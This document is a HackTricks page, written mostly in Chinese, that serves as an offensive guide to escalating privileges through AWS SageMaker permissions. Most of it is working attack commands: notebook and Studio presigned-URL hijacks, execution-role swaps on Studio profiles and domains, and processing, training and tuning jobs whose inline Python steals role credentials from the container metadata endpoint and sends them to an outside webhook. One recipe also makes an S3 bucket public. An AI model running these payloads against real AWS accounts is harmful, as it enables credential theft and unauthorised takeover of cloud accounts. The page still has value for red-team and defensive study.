AWS - Sagemaker Privesc

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

AWS - Sagemaker Privesc

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

开始创建一个 notebook,并将要访问的 IAM Role 附加到该实例上:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

响应应包含一个 NotebookInstanceArn 字段,其中包含新创建笔记本实例的 ARN。然后我们可以使用 create-presigned-notebook-instance-url API 生成一个 URL,以便在笔记本实例就绪后访问该实例:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

使用浏览器导航到该 URL 并在右上角点击 `Open JupyterLab``,然后向下滚动到 “Launcher” 选项卡,在 “Other” 部分下点击 “Terminal” 按钮。

现在可以访问该 IAM Role 的元数据凭证。

潜在影响: 对指定的 sagemaker service role 进行 Privesc。

sagemaker:CreatePresignedNotebookInstanceUrl

如果其上已有正在运行的 Jupyter notebooks,并且你可以使用 sagemaker:ListNotebookInstances 列出它们(或以任何其他方式发现它们)。你可以为它们生成一个 URL,访问它们,并像前面的技术所示那样窃取凭证

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

可能影响: 对附加的 sagemaker service role 的 Privesc。

sagemaker:CreatePresignedDomainUrl

Warning

此攻击仅适用于旧的传统 SageMaker Studio 域,不适用于由 SageMaker Unified Studio 创建的域。由 Unified Studio 创建的域会返回错误: “This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal”.

拥有在目标 Studio UserProfile 上调用 sagemaker:CreatePresignedDomainUrl 权限的身份,可以生成一个登录 URL,直接以该 profile 的身份认证进入 SageMaker Studio。此举会在攻击者的浏览器中创建一个继承该 profile 的 ExecutionRole 权限的 Studio 会话,并完全访问该 profile 基于 EFS 的 home 和 apps。不需要 iam:PassRole 或控制台访问。

Requirements:

  • 一个 SageMaker Studio 的 Domain,以及其中的目标 UserProfile
  • 攻击者主体需要在目标 UserProfile 上拥有 sagemaker:CreatePresignedDomainUrl(资源级别)或 *

Minimal policy example (scoped to one UserProfile):

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}

滥用步骤:

  1. Enumerate 可针对的 Studio Domain 和 UserProfiles
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
  1. 检查是否未使用 unified studio(攻击仅适用于传统 SageMaker Studio 域)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
  1. 生成一个 presigned URL (默认有效期约 5 分钟)
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
  1. 在浏览器中打开返回的 URL,以目标用户身份登录 Studio。在 Studio 内的 Jupyter 终端中验证有效身份或 exfiltrate the token:
aws sts get-caller-identity

注意:

  • --landing-uri 可以省略。某些值(例如 app:JupyterLab:/lab)可能会根据 Studio 的版本/变体被拒绝;默认通常会重定向到 Studio 主页,然后到 Jupyter。
  • 组织策略/VPC endpoint 限制仍可能阻止网络访问;令牌签发不需要控制台登录或 iam:PassRole

潜在影响:可以通过假定任何其 ARN 被允许的 Studio UserProfile 来实现横向移动和权限提升,继承其 ExecutionRole 以及文件系统/应用程序。

sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments

具有调用 sagemaker:CreatePresignedMlflowTrackingServerUrl 权限的主体(以及用于后续访问的 sagemaker-mlflow:AccessUIsagemaker-mlflow:SearchExperiments)针对目标 SageMaker MLflow Tracking Server,可以生成一次性预签名 URL,直接对该服务器的托管 MLflow UI 进行身份验证。这将授予与合法用户相同的访问权限(查看/创建实验和运行,并在服务器的 S3 工件存储中下载/上传工件)。

要求:

  • 账户/区域内的 SageMaker MLflow Tracking Server 及其名称。
  • 攻击者主体需要在目标 MLflow Tracking Server 资源上具有 sagemaker:CreatePresignedMlflowTrackingServerUrl(或 *)权限。

滥用步骤

  1. 枚举你可以攻击的 MLflow Tracking Servers 并选择一个名称
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
  1. 生成一个预签名的 MLflow UI URL(短时间内有效)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
  1. 在浏览器中打开返回的 URL,以作为该 Tracking Server 的已认证用户访问 MLflow UI。

Potential Impact: 对目标 Tracking Server 的托管 MLflow UI 的直接访问,允许在服务器配置强制的权限范围内查看和修改 experiments/runs,并检索或上传存储在服务器配置的 S3 artifact store 中的 artifacts。

sagemaker:CreateProcessingJob, iam:PassRole

具有这些权限的攻击者可以让 SageMaker 执行一个 processing job,并附带一个 SageMaker role。通过重用已包含 Python 的 AWS Deep Learning Containers 之一(并在与该 URI 相同的区域运行该作业),你可以在不构建自定义镜像的情况下内联执行代码:

REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'

aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN

# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.

Potential Impact: 对指定的 sagemaker service role 的 Privesc。

sagemaker:CreateTrainingJob, iam:PassRole

拥有这些权限的攻击者可以启动一个训练作业,使用指定的角色执行任意代码。使用官方 SageMaker 容器并用 inline payload 覆盖 entrypoint,你不需要构建自有镜像:

REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.

aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"

# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.

潜在影响: 对所指定的 SageMaker 服务角色 的 Privesc。

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

拥有这些权限的攻击者可以启动一个 HyperParameter Tuning Job,在所提供的角色下运行攻击者控制的代码。Script mode 需要将 payload 托管在 S3 中,但所有步骤可以从 CLI 自动化:

REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION

# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'

aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"

cat <<'EOF' > /tmp/train.py
import os, time, urllib.request

def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)

if __name__ == "__main__":
main()
EOF

cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read

echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read

IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.

cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF

aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json

该进程启动的每次训练都会打印指标并外泄指定角色的凭证。

sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

拥有更新 SageMaker Studio User Profile、创建应用、生成应用的预签名 URL 以及 iam:PassRole 权限后,攻击者可以将 ExecutionRole 设置为任何 SageMaker 服务主体可承担的 IAM 角色。为该 profile 启动的新 Studio 应用将以被替换的角色运行,通过 Jupyter 终端或由 Studio 启动的作业提供交互式提升权限。

Warning

此攻击要求配置文件中没有任何应用,否则应用创建会失败并出现类似的错误: An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again. 如果存在任何应用,则需要 sagemaker:DeleteApp 权限先删除它们。

步骤:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>


# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Potential Impact: 在交互式 Studio 会话中,升级到指定 SageMaker 执行角色的权限。

sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

如果拥有更新 SageMaker Studio Domain、创建 app、为该 app 创建 presigned URL 和 iam:PassRole 的权限,攻击者可以将域的默认 ExecutionRole 设置为 SageMaker 服务主体可以假设的任何 IAM 角色。为该 profile 启动的新 Studio 应用将以被替换的角色运行,从而通过 Jupyter 终端或从 Studio 启动的作业获得交互式的提升权限。

Warning

此攻击要求域中没有应用,否则创建应用会失败并出现错误: An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.

步骤:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated

# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

潜在影响: Privilege escalation,以获取指定 SageMaker execution role 在交互式 Studio 会话中的权限。

sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl

拥有在目标 UserProfile 上创建 SageMaker Studio app 权限的攻击者,可以启动一个以该 profile 的 ExecutionRole 运行的 JupyterServer app。这样可以通过 Jupyter 终端或从 Studio 启动的作业交互式访问该角色的权限。

步骤:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc

# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity

潜在影响: 可交互访问附加到目标 UserProfile 的 SageMaker 执行角色。

iam:GetUser, datazone:CreateUserProfile

具有这些权限的攻击者可以通过为该用户创建 DataZone User Profile,使该 IAM user 获得对 Sagemaker Unified Studio Domain 的访问权限。

# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json

# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER

The Unified Domain URL 的格式如下: https://<domain-id>.sagemaker.<region>.on.aws/(例如 https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/)。

潜在影响: 作为用户访问 Sagemaker Unified Studio Domain,能够访问 Sagemaker 域内的所有资源,甚至将权限提升到 Sagemaker Unified Studio Domain 中笔记本所使用的角色。

参考

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks